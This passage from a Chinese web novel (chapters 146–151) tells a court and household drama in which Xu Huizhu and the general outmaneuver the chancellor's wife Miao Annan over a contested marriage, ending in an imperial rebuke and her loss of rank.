“察玉珠指认暗卫队长成田,以死护住蕴泽,也让蕴泽顺势取代成田,成为谨郡王的心腹……”
察尔通就是一个刽子手,让察玉珠和蕴泽这对有情人,难成眷属。
“徐慧珠,至于你,不过是遭受无妄之灾。”
锦衣卫出手,谨郡王掩埋的真相曝光人前,皇上一流水的赏赐,安抚徐慧珠受到惊吓。
徐慧珠抚摸着金银珠宝,心情愉悦,“谨郡王如何了?”
“已是废人,还是京城笑料。”
“太子放弃了谨郡王,还将一切推到谨郡王身上……”
第146章:婆母不慈,儿媳不必愚孝
徐慧珠知道,姜夜沉就算没落井下石,也少不得推波助澜。
太子失去谨郡王的忠心谋划,他的储君之位已摇摇欲坠,可惜,太子蠢而不自知。
过了一月,南疆传来消息,蕴泽和坞国太子察尔勉前后夹击,陈青阳冷眼旁观,察尔通**,死在安国和坞国的边界小镇。
确切地说,察尔通死在坞国的土地上。
云霄阁如约护送察尔通回坞国,大赚一笔。
奈何,察尔通的命,不好。
荣慧也**,死在奴婢圆禾手里,荣慧离京匆忙,只交待两日之内没收到她的命令,淹死圆石。
当然,圆禾在去南疆路上能收到圆石的消息,自然是姜夜沉的安排。
姜夜沉没和徐慧珠商量,至于徐慧珠的谋划,要留着荣慧的命,搅浑坞国皇室的水……姜夜沉在荣慧发疯**徐慧珠后,在书房反思了一夜,有些事情明明可以简单粗暴去解决,为何要复杂化?
不论是谁,敢伤害徐慧珠,都得死。
姜夜沉心里清楚,察尔通一死,坞国就是太子察尔勉一人独大。
太子察尔勉好战……
“乌羽带着圆石不日到达南疆,圆石已改名察银石,是察尔通和乌羽在安国生下的儿子,秘密养在外面。”
“乌羽想要完全接手察尔通的势力,向太子察尔勉复仇,必须有所倚仗,师出有名,她需要察银石这个儿子。”
“圆石从卑贱的奴一跃成为高贵的小皇子察银石,圆禾会忠心侍主……”
“有蕴泽和乌羽联手,太子察尔勉有得忙了。”
原来,姜夜沉早有安排。
荣慧的死,徐慧珠没放在心上,不过一只苍蝇罢了。
十月初,徐念念和钱无双大婚。
对于徐念念来说,是高嫁。
在京城,钱无双与姜夜沉齐名,有才有貌,有权有钱。
偏偏,这两枚香喷喷的果子,都被徐家女摘得。
实在气人。
眼见大婚,徐念念莫名的紧张,她来将军府求徐慧珠支招。
“慧珠姐姐,我心欢喜,又害怕,又愧疚……”
“我觉得对不住上官将军。”
徐念念的心结,只有她自己才能解开。
徐慧珠故意说,“念念,你也可以选择不嫁,还未大婚,便可反悔。”
“不不不,我想嫁。”徐念念脸颊泛红。
“其实,我曾见过无双公子和上官将军在一起,那才是真正的郎才女貌,一对佳人。”
“我同无双公子说过,若有朝一日,他后悔了,我……我会放他离开,成全他和上官将军。”
徐慧珠问道,“钱无双如何说?”
所谓当局者迷旁观者清,徐慧珠没告诉徐念念,有时候,相爱的两人不能在一起。
“无双公子说,他和上官将军曾两情相悦过,但他更知道,上官将军不该困于后宅,她属于广袤的草原,属于战场……”
“无双公子还说,爱一个人,就要尊重并守护她的梦想。”
……
言语安慰显得单薄,徐慧珠直接拉着徐念念先去春风酒楼吃一桌山珍海味,再去醉仙戏楼赏戏。
时间安排满当,徐念念就顾不上大婚前恐慌了。
但她们没想到会在醉仙戏楼遇上苗安楠,相府无双公子大婚在即,身为母亲又是当家夫人还有闲暇时间赏戏?
很明显,苗安楠特意来见徐念念。
“徐念念,我希望你去找无双,同他说清楚,这门亲事作罢。”
“你该有自知之明,你配不上无双,还引得无双和宝器兄弟不合,可以说是祸害。”
“就算你入得相府,指望无双日日护着你?总有他护不到的地方,让你悄无声息死去,不必我动手,只需我一句话。
“徐念念,我也是为你好。”
“我言尽至此。”
苗安楠压根没把徐慧珠和徐念念放在眼里,言语难听,姿态倨傲,看来,她在相府安稳的生活过太久,早已忘记曾经伏低做小过。
徐慧珠正欲开口,徐念念拉住了她。
说到底,苗安楠是她的准婆母,未来的日子要朝夕相处,她可以借将军府的势,但不能事事求徐慧珠帮她解决。
婆母不慈,儿媳不必愚孝。
苗安楠上赶着欺辱她,也是打户部尚书府和将军府的脸。
她,徐念念,可不是一颗软柿子。
“如安夫人此言差
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矣。”
说来,钱丞相宠妻,不仅给苗安楠平妻名分,还为她求得诰命,尊称一句如安夫人。
徐念念迎上苗安楠的目光,并无惧色。
“我和无双公子,男未婚女未嫁。再说,这门亲事是无双公子主动求娶,皇上下旨赐婚,聘礼已下,婚期已定,如安夫人如今突然说反悔,还威胁我的性命……
“羞辱我事小,抗旨欺君事大。”
“如安夫人当真想好了?”
徐慧珠差点没忍住,为徐念念鼓掌。
说得好。
有些人就是矫情,仗着年纪大或身份欺人,这样的人本就可恶,不必给予脸面。
啪。
徐念念迎上苗安楠的巴掌,这一巴掌,挨了,就预示着苗安楠输了。
“徐念念,**,你……你……”
徐念念捂住红肿的脸颊,回怼,“敢问如安夫人一句:身为准婆母,辱骂准儿媳是**,那无双公子是什么?如安夫人您又是什么?”
“同属**……”
苗安楠早就差人打听过徐念念,家世、容貌,性情和心计皆无过人之处,也不知怎地入了钱无双的眼。
不,苗安楠私心认为,钱无双以此反抗她。
她和钱无双,不似母子,更像是仇敌。
怎么就走到如今的地步?
偏偏,苗宝器不堪大用,她想要的东西,从前钱丞相能给,往后得靠钱无双。
丞相府里,除过钱无双冷漠相对,别人都顺着苗安楠,已经很多年没人敢当面忤逆她了。
徐慧珠接话,“念念说得对,如安夫人此言差矣,不,该说如安夫人口吐芬芳,大言不惭。”
徐慧珠一开口,就是往苗安楠脸上扇巴掌。
“说好听点,如安夫人打的一手精明算盘。说难听点,如安夫人的行为堪称不要脸。”
“如安夫人张口命令念念毁亲,敢问一句,此事无双公子可知情?”
“还有,如安夫人觉得念念身份低位配不上无双公子,呵,念念是徐家贵女,是大将军的义妹,将军府的大小姐,还是皇上亲封的凝心县主……如何配不上无双公子?”
“要我说,是无双公子高攀了念念。”
第147章:你若不负我,我便不弃你
姐妹俩一唱一和,成功激怒苗安楠。
贵人在动怒之时,总喜欢赏人耳光,苗安楠也不例外。
啪。
徐慧珠后退几步,顺势撞开门,“如安夫人好威风,随意打骂名门贵女、朝廷命妇……这安国,难道没有律法,是钱相爷和如安夫人说了算?”
“呜呜呜……”
苗安楠只想撕碎徐慧珠的嘴,吐不出一句**。
她的手,被钱无双捉住。
“母亲?”钱无双冷着俊颜,语气冷如冰,“徐夫人说得在理,是我高攀了念念姑娘。”
“母亲,立刻,马上,给徐夫人和念念姑娘道歉。”
苗安楠一向冷静,可在钱无双面前,她往往控制不住脾气。
不,是她从失去对钱无双的控制时,她的心,慌了。她的人生,就变得不完美了。
啪啪。
苗安楠甩开钱无双的手,啪啪两耳光扇过去。
看着都疼。
“无双公子……”徐念念刚刚挨打没哭,这会儿却眼泪汪汪。
她冲过去,站在钱无双的面前,“如安夫人当真以为给予无双公子生命,就能掌控、设计他的人生?”
“无双公子是活生生的人,是作为人存在于世上。他该有属于自己的喜怒哀乐,喜好梦想,不是夫人的傀儡。”
徐念念回头,眼神坚定,她说,“无双公子,你若不负我,我便不弃你。”
“日后,我护你,谁也不能欺负你。”
钱无双愣了,这些话,他曾说过,换来的是母亲更疯狂更过分的折磨。
上官西环说:钱无双,你若不能挣脱你母亲的控制,你就配不上我。
如今,徐念念说:钱无双,你生而为人,命由自己。
徐念念还说:我会护你,不离不弃。
说话的功夫,徐慧珠已扑到姜夜沉怀里,一边哭的柔弱可怜,一边告状。
戏子附体。
“将军,我和念念妹妹来醉仙戏楼赏戏,哪知如安夫人闯入,辱骂将军居心叵测,指使念念勾引无双公子。”
“如安夫人还说,就算念念是将军府大小姐,是皇上亲封的凝心县主,高攀不起相府门第。”
“我和念念气不过,分辨几句,如安夫人先打了念念,又打了我……”
徐慧珠哭着往姜夜沉的怀里缩了缩,似是怕极了,说出来的话,让众人脸色大变。
“将军,我不过后宅女子,见识浅薄。”
“我就是……就是想问一句,钱相爷在朝堂上是不是权势遮天,经常欺负将军?”
“钱相爷是不是除了皇上,谁都不放在眼里?”
众人:……
这话,是能说的吗?
“夫人为何有这样的想法?”姜夜沉冷下目色。
“很难理解吗?”徐慧珠似是没感受众人的眼神,“定是钱相爷时常欺负将军,如安夫人才会底气十足,欺负我和念念。”
“所以,今日之灾,是被将军连累了。”
姜夜沉答道,“夫人说得在理,的确是本将军连累了夫人和义妹。”
苗安楠脸色难看,理智稍回,后宅之事怎么就扯到朝堂?
若传出去,便是将相爷架在烈火上炙烤,官员怎么看相爷,皇上怎么想相爷,百姓怎么说相爷……
好歹毒的心思。
“将军慎言。”
苗安楠急了慌了,她派人打听徐念念的行踪,本以为一番羞辱吓唬,徐念念会放弃这门亲事。
到时,所有的错,由徐念念一人承担。
相府和钱无双的名声,伤不到分毫。
不成想,徐念念难缠,徐慧珠无耻。
更气人的是,钱无双和姜夜沉在一起,听见全程。
“也请徐夫人慎言,小心祸从口出。”
“相爷忠心为国为民,徐夫人三言两语污蔑朝之重臣,毁我相府清誉。”
“这件事,相府不会善罢甘休。”
苗安楠的确不会善罢甘休,晚些时候,许金枝敲响将军府大门,一见到徐慧珠就哭倒在地。
许金枝的手里,攥着一只带血的珍珠耳环。
徐慧珠认得,是她送给徐念念的生辰礼。
“念念失踪了。”
“慧珠,求你一定要救念念啊。”
“是如安夫人做的,唯有此时念念声名狼藉,或念念死,如安夫人就能达到毁亲的目的。”
徐
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念念出事,许金枝能第一时间来将军府求她,能冷静分析至此,已是不易。
“其实,这门亲事,我也是不愿的,如安夫人那人……”
此时,京城流传新鲜的八卦,自然是在醉仙戏楼发生的事情,见证者不多,扑风捉影者不少。
众说纷纭。
“听说,徐念念手段了得,先是当街勾引钱宝器,后私下魅惑无双公子,引得兄弟反目成仇不说,无双公子还铁了心求娶徐念念为妻。”
“听说,徐念念能有这等心计,是徐慧珠在背后出谋划策。”
“徐慧珠这枕边风一吹,大将军认徐念念为义妹不说,还求皇上给徐念念县主身份,啧啧啧,大将军该不是中了徐慧珠的‘毒’?”
“哪是**,分明是大将军宠夫人。如今谁不羡慕徐慧珠,这妾当成她那样,绝对是京城独一份。”
“羡慕是真,不屑也做不得假,大将军千好万好,可男女之间还得靠床笫之欢维系,徐慧珠受的那份苦楚,寻常女子也受不了,熬不住。”
眼看话题越扯越远,有人扭转,回归正题。
“就算徐慧珠卯足劲给徐念念镀金,也改变不了她曾经的低贱。如安夫人一向挑剔,岂能咽下这口气?”
“自是不能。说是如安夫**病一场,拗不过无双公子,便好言相劝徐念念,哪知徐念念赖上无双公子……”
有人不乐意,怼了回去。
“不管怎么说,无双公子和徐念念的亲事是皇上赐婚,如安夫人不满意这门亲事早干嘛去了,现下毁亲,就是抗旨欺君的大罪。”
“听说,如安夫人嚣张至极,一言不合就**,打完徐念念,又打徐慧珠,这是仗着相爷和宫里那位的势,不把将军府放在眼里。也是,满京城的贵人,如安夫人放在眼里的有几人?”
“呵,如安夫人?她的出身就高了?这京城谁人不知苗家如何跻身世家大族之列,靠的贩卖女儿。谁人不晓,如安夫人当初向相爷自荐枕席,以妾的身份入相府,用了多少见不得人的手段赶走大夫人桑氏,爬上平妻之位。”
“所以,追根究底,谁比谁高贵?”
第148章:皇上一向擅拉偏架
大婚在即,徐念念失踪一事不得声张。
徐慧珠和姜夜沉商定,她先送许金枝回府,姜夜沉亲自带队锦衣卫搜索徐念念的下落。
偏偏,他们刚出将军府大门,就被人挡住。
苗安楠不请自来。
“大将军,徐夫人,今日在醉仙戏楼是一场误会……”
苗安楠好似没瞧见许金枝,不屑理会“准亲家”。
为彰显道歉诚意,苗安楠携钱无双和厚礼。
“徐夫人,听说,念念姑娘在将军府小住,我想见一面,不知可方便?”
徐慧珠这下百分之百确定,徐念念出事,是苗安楠所为。
苗安楠做下恶事,还敢欺上门,连徐慧珠都禁不住佩服苗安楠的嚣张。
苗安楠到底要做什么?毁徐念念的清白?还是要徐念念的性命?
“不方便。”徐慧珠和姜夜沉异口同声拒绝。
姜夜沉一个眼神过去,大福关闭将军府大门。
“如安夫人当众对本将军的夫人施暴,嘴上说一句‘抱歉’,再送几样破礼,妄想揭过此事?”
“如安夫人这回赏本将军的夫人耳光,下回呢,是不是赶明儿在朝堂上,相爷也会当着皇上和满朝官员的面赏本将军耳光?”
“本将军现下入宫请皇上评判,也请皇上做个见证,本将军要问一句相爷,何故欺辱我将军府?”
“如安夫人,请吧。”
接着下令,“大福,你陪同无双公子回一趟相府,请相爷入宫。”
“这事,本将军不愿私了。”
大福将无双请走,徐慧珠深深地看了一眼钱无双,心中祈祷,但愿钱无双出手,能及时救下徐念念。
苗安楠登门,不惜借“道歉”为幌,阻止他们救人,更意图坐实徐念念……婚前失贞。
徐慧珠松了一口气,清白重要,但性命最重。
既如此,那就将事情往大了闹,以苗安楠之计,回赠她。
“大将军,你……你别过分。”苗安楠咬牙切齿。
“如安夫人请吧。”姜夜沉身上的萧杀之气,让苗安楠心惊。
事情的发展,已完全失控。
苗安楠只得上了马车,她敢说一个“不”字,姜夜沉定会下令锦衣卫摁住她的肩膀,把她扔进马车。
这门官司并不难审理,如安夫人殴打徐慧珠和徐念念是事实,人证里还有如安夫人的亲子钱无双。
关键是,皇上摆明了偏袒姜夜沉,要为姜夜沉做主。
相爷代如安夫人认错认罚,姿态放得极低,“内宅妇人,见识浅薄又冲动行事,动手**的确该罚。老臣稍后携犬子无双登将军府门道歉,子代母过,无双自扇双倍巴掌……”
钱相爷宁愿推出亲子,也要维护苗安楠。
但,姜夜沉宠徐慧珠如珠如宝。
“皇上,臣请求剥夺如安夫人的诰命,此等品德,不配享受皇恩册封。”
这等要求,也就姜夜沉敢提,还是当着钱相爷和苗安楠的面提。
不等钱相爷求情,皇上金口已开,“准。”
徐慧珠噗通跪在地上,头磕的实诚,“吾皇英名神武,皇上万岁万万岁。”
皇上愣了一下,被逗笑了。
“徐氏,你说本皇英明神武,那你来说说,英明在何处?神武在何地?”
“说得好,本皇重重有赏。”
“说得错,你的诰命,本皇就此收回。”
“起来回话。”
徐慧珠这一打岔,钱相爷就算心中千言万语,也得先咽回腹中。
苗安楠的“如安夫人”诰命,当初钱相爷费了多大力气请封,如今剥夺诰命却是皇上轻飘飘的一个字“准”。
从此,京城再无如安夫人,只有相府二夫人苗氏。
二夫人啊,每一句“二夫人”都是在提醒苗安楠,她是钱相爷的平妻,不是明媒正娶的嫡妻。
她的脸面,被人丢弃在地上,狠狠踩到泥泞里。
她今日从皇宫出去,流言蜚语传遍京城之后,她就是这世间最大最可笑的笑话。
人人都能笑她。
苗安楠欲辩驳,被钱相爷一把拉住,今日在皇上面前,苗安楠最好跪着,莫开口,无论她说什么,都是错。
若皇上震怒,相府落不得半点好。
钱相爷心里叹息一声,他的夫人哪哪都好,就是掌控欲强了些……说来,最该怪罪无双,忤逆不孝的东西。
幸好徐慧
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珠没有读心术的天赋,不然,读了钱相爷的心声,她会感叹:大千世界无奇不有,果然是一物降一物,一人克一人。
姜夜沉舍不得自家夫人多跪一瞬,皇上话音一落,他就顺势扶起徐慧珠不说,又提过分要求。
“皇上,普神医说,慧珠今日伤了身体,也伤了心神,虚弱至极,得仔细将养数月,方能恢复。”
皇上无奈接话,“李生德,给徐氏赐座。”
皇上只得无声冷哼:没眼看。
他心里不舒坦,精心培养长势喜人的大白菜,怎么就被徐慧珠这头猪拱了。
他要是撑着不赐座,赶明儿姜夜沉就敢休长假,回他的将军府陪夫人去。
徐慧珠坐着,姜夜沉站着。
这都是什么事儿啊。
徐慧珠看了一眼苗安楠,明目张胆地释放得意和挑衅。
人就怕比较。
比较之后,就会心理失衡。
苗安楠仗钱相爷的势,她仗姜夜沉的势,从女子之间的战场烧到男人的身上,此刻,在皇上的见证下,比谁的男人更能依仗。
徐慧珠稳胜。
因为,皇上一向擅拉偏架。
徐慧珠缓缓开口,“臣妇虽是后宅女子,不通朝政大事。但臣妇明白一个道理,夫妻齐心,其利断金。”
“先前,皇上慧眼识珠,赏赐臣妇诰命夫人,臣妇便觉得身上的责任更重,觉悟得提高。”
“臣妇要当好将军的解语花,以侍奉好将军为己任。更要当好将军的贤内助,支持将军的决定,维护将军的清誉……总之,听将军的话,顺将军的意。”
徐慧珠这番话,连夸三人。
姜夜沉说,“回禀皇上,臣可证明,慧珠做得极好。”
皇上:徐氏说我慧眼识珠?这高帽子戴的……
徐慧珠的目光落在钱相爷和苗安楠身上,眼神泛起一团疑惑,“听闻当年相爷出使仓国立下大功,相爷以功劳为夫人求来诰命——如安夫人。”
“苗夫人,相爷一心为你,可谓疼爱入骨,你怎能狠心害他?辜负他的一片深情厚意?”
众人:……
怎么就扯到苗安楠害相爷?
这是唱的哪出戏?
第149章:将军的手伸到相府后宅
苗安楠忍无可忍,出声辩驳,“徐夫人?”
徐慧珠哪会给苗安楠说话的机会,自是强行打断,“如安夫人莫急,不不不,日后该称“苗夫人”或“二夫人”了。”
徐慧珠是懂得气人的。
诛心之痛。
苗安楠气到脸色煞白。
“徐夫人……”钱相爷一向理智,除非摊上苗安楠的事情,他的理智往往慢一步。
“相爷何意?皇上允臣妇说话,相爷却不许?”
钱相爷心中一凛,徐氏嘴巴毒辣,这话风,这感觉,和姜夜沉如出一辙。
“皇上明鉴,臣……臣绝无欺君抗旨之心。”
皇上摆手,打趣的口吻,却是警告。
“丞相和一介后宅女子呛声有失君子风度,一同听着便是,徐氏若说不出个子丑寅卯来,本皇治她的罪。”
这?
皇上偏宠姜夜沉也就罢了,如今爱屋及乌,还给一个妾体面?
“相爷莫急,且听臣妇徐徐道来,若臣妇说得不对,相爷可赏臣妇耳光便是。”
“无双公子和徐念念,一个是相府公子,一个是将军府大小姐、皇上亲封的凝心县主。论身份,门当户对。论情分,两情相悦。”
“明明是美好的一桩金玉良缘,还是皇上赐婚,臣妇实在想不通,苗夫人为何阻挠这一对有情人终成眷属?”
“苗夫人身为相爷的贤内助,难道不应该事事听相爷的话,处处为相府前程考虑?”
徐慧珠一脸诚实,满眼认真,问道,“难道相爷也认为,无双公子和徐念念不是佳偶天成?皇上的赐婚旨意下错了不成?”
当面胡搅蛮缠、挑拨离间,钱相爷抬眼望去,他心里没底,皇上究竟会不会听一介妇人之词?
万一,皇上听了……
姜夜沉接话倒快,“回禀皇上,臣觉得,夫人说得大有道理。”
又指向钱相爷和苗安楠,“按说,聘礼已下,婚期已定,两家缔结百年之好……相爷纵容自家夫人闹这一出,不知,是给户部尚书府好看?还是玩我将军府?或者试探皇上的底线?”
“其实,本将军也百思不得其解,今日就请相爷一同解惑答疑。”
从前,姜夜沉为人冷漠,行事狠辣,话极少。
如今,姜夜沉耍起嘴皮子厉害,空口白牙就给人定莫须有的罪名。
皇上脸色微变。
钱相爷跪在地上,冷汗滴落。
他侍君两任,察言观色的本事早已修炼得炉火纯青,当今皇上是明君,却从来不是心慈手软之人。
姜夜沉和徐慧珠一唱一和明显给相府挖坑,这么浅显的伎俩,皇上岂会看不破?
钱相爷细观皇上的神色变化,心里又惊又慌,皇上动怒,此事只怕不会善了。
其实,钱相爷明白自家夫人闹这一场,说欺君抗旨未免严重,皇上赐婚本无错,错的是不该生出这门亲事,错的是徐念念。
将军府纯属故意搅局。
“皇上明鉴啊。”
钱相爷没法为姜夜沉解惑,姜夜沉亲手挖坑,一个接一个深坑,钱相爷何尝不知,他说一句,姜夜沉会接十句、百句。
钱相爷身为文臣之首,论嘴皮子厉害,竟败给一个武将。
与其同姜夜沉纠缠不休,直接求皇上才是上策。
“夜沉,你说得过分了些,怎能怀疑钱相的忠心……”
皇上语气严厉,却感受不到帝王怒意。
话锋一转,提说钱相爷的大夫人和一双儿女。
“钱相,本皇听闻十年前,你的那位大夫人携嫡子嫡女回祖地侍奉双亲,可见孝顺贤淑,是个品德好的……”
大夫人?
桑氏?
钱相爷一时恍惚,若不是皇上提说,他都快忘记桑氏和她的一双儿女。
十年未见了。
“臣的双亲年岁已高,习惯祖地气候,桑氏身为儿媳,侍奉双亲,是她的本分。”
这话说得徐慧珠不爱听,她悄悄扯了一下姜夜沉的衣袖。
姜夜沉心领会神,抢话道,“回禀皇上,安国推崇仁孝,臣以为桑夫人能十年如一日侍奉钱相爷的双亲,足以证明桑夫人品性高洁,是世间女子学习的典范。”
皇上点头,“夜沉说得在理。”
“李生德,传本皇旨意,册封桑氏为二品诰命——温德夫人。”
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>“是,奴才遵旨。”李生德应的太快。
皇上又说,“钱相,派人将桑氏接回来吧,堂堂相府后宅没个女主人打理,着实不像话。”
苗安楠满眼不敢置信,死死咬住嘴唇才没惊叫出声。
她是三品诰命——如安夫人,刚刚被皇上褫夺。
桑氏人没在京城,却无缘无故、轻易而举得二品诰命——温德夫人。
还有,她费尽心力才将桑氏和一双儿女赶回祖地,霸占相爷,掌控相府。
皇上何意?
皇上竟说,堂堂相府后宅没有女主人打理?那她这十年算什么?
“这……”钱相爷心疼地看向苗安楠,“皇上,相府后宅这十年苗氏打理的……极好。”
“钱相,你的意思,是本皇多管闲事了?”皇上的眉间染上怒色。
“皇上息怒。”
“臣遵旨。”
钱相爷匍匐在地,圣命难违,无力抗拒,只得委屈心尖宠了。
徐慧珠得扮演姜夜沉身边温顺听话的猫,以姜夜沉为天,这样皇上才能看她顺眼。
有些话,徐慧珠说不得。
幸好,她拥有最强“嘴替”。
两人的心有灵犀,彼此的默契,似是经历过三生三世的磨练,只需对视一眼,便明了对方想说什么,要做什么。
“皇上,臣以为无双公子和徐念念的大婚一事理应由温德夫人操办。”
“温德夫人是相府女主人,也是无双公子的嫡母,合乎规矩,也全了体面。”
钱相爷看到苗安楠眼圈发红,身形微晃,整个人快要支撑不住的可怜模样,实在心疼。
他和姜夜沉,先前也算维持表面“和谐”,一个不过分招惹,另一个未刻意报复。
自姜夜沉娶亲后,整个人性情大变,行事狠辣不变,但变得话多,手还伸到相府后宅。
委实过分。
也,有失君子风度。
“皇上,苗氏是无双生母,亦是臣的平妻。”
“况且桑氏离京十年,对京城不甚熟悉,臣请求皇上恩典,大婚一事由苗氏操办,待大婚结束,臣亲自回一趟祖地接回桑氏和长子长女......”
第150章:将军气晕丞相夫人
钱相爷为了苗安楠,敢和皇上谈条件?
果然,钱相爷中了一种名叫“苗安楠”的毒,且毒已侵他的五脏六腑,无药可解。
不管钱相爷说什么,姜夜沉立马怼回去,“皇上,臣以为大不妥。”
“实在是,臣不敢信任苗夫人,生怕待婚礼当日,苗夫人再当众掌掴新娘耳光以立规矩,指不定把我将军府的人赶出婚宴……”
“就当臣以小人之心度君子之腹,臣就是丢不起脸。”
姜夜沉的嘴巴绝对浸泡在**里,剧毒。
姜夜沉和钱相爷看似没正面交锋,却厮杀的“刀刀见血”。
“大-将-军?”钱相爷咬的牙齿都疼了,“未发生之事,大将军这么说,岂不是无中生有?”
“大将军刚刚还说,无双和徐氏女的这桩亲事结的是两姓之好,现下又百般阻挠,意欲何为?”
钱相爷满眼希冀看向皇上,“请皇上明鉴啊。”
徐慧珠扬起脸庞,小声问道,“将军,相爷说话好生奇怪,那位桑夫人是他的妻,又甘愿为相爷在祖地侍奉双亲、教养儿女,功劳苦劳大破天,相爷不是该感动?感恩?”
“相爷亲自去祖地接嫡妻和儿女回京,是本分之事。这人还没去,就说出来邀功,难道相爷想让皇上封赏他?”
徐慧珠像是在和姜夜沉咬耳朵,声音不大,但大家都听的清楚。
当着皇上的面?
皇上该治她一个口无遮拦、行为失检之罪。
“夫人这么一说……”姜夜沉同样小声回应,“难道?”
“原来,相爷是本将军学习的楷模。”
姜夜沉又在背后告言官的黑状,不,这回还拉着钱相爷当人证,丝毫不怕钱相爷转身把他卖了。
“皇上,自臣娶亲,某些言官吃饱爱找事,隔三差五上折子声讨臣‘妾行妻权’有违伦理。”
“臣平白受冤啊。”
话题让姜夜沉一扯,扯得偏离。
更气人的是,皇上好似一点儿不忙不烦,还有闲情逸致接姜夜沉的话。
“你受了啥冤?”
“夜沉,是你偏宠徐氏无度,还不许言官说你几句?”
皇上的训斥,掺太多水分。
淡而无味。
“皇上,相爷才是妾行妻权的开创者。臣不过学了相爷的皮**,却被言官追着骂,是何道理?”
“臣完全有理由怀疑,那些骂臣的眼光狗眼看人低,还欺软怕硬。不然,他们怎么不去骂相爷?”
“相爷明明有妻,还妾行妻权。臣的后宅,只有徐氏慧珠一人,挂着‘妾行妻权’的由头,为臣打理将军府后宅。”
“当然,臣承认是有私心,不愿世人看轻将军府。”
旧事一件件翻出来。
姜夜沉是要做什么?
还有,皇上当真闲暇?听他们掰扯后宅琐事?
“皇上,臣没有妾行妻权,苗氏本就是臣的平妻。”
“请皇上明鉴。”
这时,苗安楠终于忍不住开口为自己辩解,“皇上,臣妇有话说。”
“准。”皇上坐在黄金座上,看了一眼御案上堆成小山的奏章,心想着他陪姜夜沉演戏,奏章分他一半,不过分吧。
“正如相爷所言,我是相爷的平妻,也曾是皇上亲封的如安夫人,大将军却‘妾行妻权’羞辱我,是何意?”
“平妻?呵,在嫡妻面前,平妻也得执妾礼。”姜夜沉浑然不觉他对付苗安楠一介女子有什么错,锦衣卫那一百零八套刑具也不是没招呼过女子。
怜香惜玉?
他不稀罕苗安楠这块老玉。
“再说,本将军大概记得,当年苗夫人入相府,一顶青布轿,走得角门。不是妾,是什么?”
“姜-夜-沉,你……你……”苗安楠又羞又怒,身子一软,倒在地上。
“夫人啊。”钱相爷惊叫一声,连忙拥苗安楠入怀,“皇上,请容臣送夫人去太医院。”
“皇上,臣妇稍通医术。”
钱相爷下意识拒绝,夫人怎会昏厥,还不如拜姜夜沉所赐。
现下算什么,姜夜沉气了人,徐氏假惺惺施救?
钱相爷只觉得一口浊气堵在喉间,噎得窒息。
“相爷,苗夫人这是情绪刺激之下
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昏厥,似有中风前兆,若不及时施针,恐留下面瘫隐疾。”
“毕竟,苗夫人也算上了年纪。”
万幸苗安楠此刻昏厥,听不见徐慧珠的诛心之词。
她一向自负美貌,又精心保养,早晚用牛奶沐浴。
钱相爷极宠她,在郊外圈了百亩良田和山林,专为苗安楠饲养奶牛。
徐慧珠竟嘲讽她老?
“相爷,如果您请我为苗夫人看诊,那我得丑话说在前头。”
“一是,我不过稍通医术,万一苗夫人日后生出面瘫隐疾,不得怪罪于我。”
“二是,相爷得支付我诊金。”
钱相爷心中恼恨徐慧珠,又不得不舍下脸面相求。
想他叱咤官场几十载光景,不成想,一朝栽倒,摔得鼻青脸肿不说,体面全无。
他恼恨姜夜沉,不齿徐慧珠,埋怨钱无双……唯独舍不得责怪苗安楠分毫。
苗安楠被暂且安置在偏殿,等太医赶到时,徐慧珠刚施完针,正在写药方。
钱相爷宠在心尖尖的夫人突发昏厥,皇上仁慈,允李生德请来两名太医。
徐慧珠同太医说明情况,又将自己诊治的步骤说明,两名太医先是把脉,再仔细商讨了药方,便一同入正殿禀报。
“回禀皇上,苗夫人身子无大碍,再过半个时辰人会清醒。”
虽然徐慧珠想过一针下去,将苗安楠给扎瘫痪,但她忍了又忍。
苗安楠此人,“死”在她的手里有什么意思,她为苗安楠安排的死法,才更有趣。
“赏。”
皇上金口赏赐,钱相爷只得向徐慧珠表达谢意。
钱相爷的一张老脸,都能开染坊了。
这就相当于,姜夜沉**放火,受害者还得向他的同伙徐慧珠千恩万谢。
“多谢徐夫人出手相救。”
“钱相爷客气。”徐慧珠说道。
“救死扶伤,是身为医者的天职。”
“不过,我得多嘱咐一句,苗夫人确为中风前兆,切记大喜大悲。”
“另外,相爷莫忘了,支付诊金。”
“一百两,现银。”
第151章:无双公子以为,凶手是谁?
钱相爷不想说一句话。
是不想和姜夜沉、徐氏说话。
他活了大半辈子,自爬上丞相高位,又得挚爱,可谓名利与情场皆得意。
他已经许久没生气了。
关键是,心里憋着浊气,散不出来。
“皇上,老臣……”钱相爷刚开口,就被姜夜沉抢先,“相爷,该遵医嘱。”
“苗夫人还有半个时辰才清醒,不如,趁这个时间,咱们好商议大婚事宜。”
钱相爷气结。
他好想大爆粗口:商议个屁。
他的夫人被姜夜沉这厮气到昏厥,此刻,他只想带夫人回相府,陪着夫人,守着夫人。
再说,夫人不满亲事,甚至生出毁亲的心思,以为徐念念性情懦弱,极好拿捏,吓唬一番,再将过错推到徐念念身上。
到时,主动毁亲的是徐念念,欺君抗旨的是徐念念。
无双和相府一身无辜,以“受害者”的姿态好处占尽。
这些事,钱相爷知情,他纵容苗安楠行事,也是因为他不觉得有错。
他一向相信苗安楠的眼光,不然,当年,她不会一眼看上他。
他若这时同姜夜沉这个“凶手”商议大婚事宜,岂不是在夫人鲜血淋淋的伤口上撒盐。
钱相爷选择屏蔽姜夜沉说的话。
听不到听不到。
就是听不到。
姜夜沉该顾忌脸面,就不再纠缠。
可惜,钱相爷失算,姜夜沉的脸皮厚比城墙,他瞧不见钱相爷黑如锅底的脸色。
可,皇上在,钱相爷又不能直接说,他在君皇殿一刻都待不下去,只想去偏殿守着夫人,或离宫。
身为臣子,哪能在君王面前任性妄为。
钱相爷忍了又忍。
几欲失态。
“是该商议。”
皇上看热闹不嫌事大,竟赞同姜夜沉的荒唐提议。
钱相爷目色郁暗。
他深吸一口气,逼自己冷静下来,他想到大皇子李明远和他在书房密谈的内容……
他不是不能得罪姜夜沉,而是不能成仇成敌。
“臣遵旨。”钱相爷甚少和姜夜沉对上,一副忠心侍君的姿态。
姜夜沉和徐慧珠对视一眼,眼中含笑,钱相爷这只老狐狸服软的模样,欣赏起来倒是别具一番风味。
……
钱无双求娶徐念念,可同时交好户部尚书府和将军府,这门姻亲,苗安楠不满,大皇子李明远和厉贵妃却满意到心坎上。
对大皇子李明远和厉贵妃来说,姜夜沉是一块又硬又臭的顽石,偏偏这块顽石还是绝世珍宝,大家为争“顽石”斗红了眼,谁都想抓在手里,从此占为己有。
如今,柳暗花明?
这厢,在皇上的见证和掺和下,无双公子和徐念念的亲事,由桑夫人做主操办。
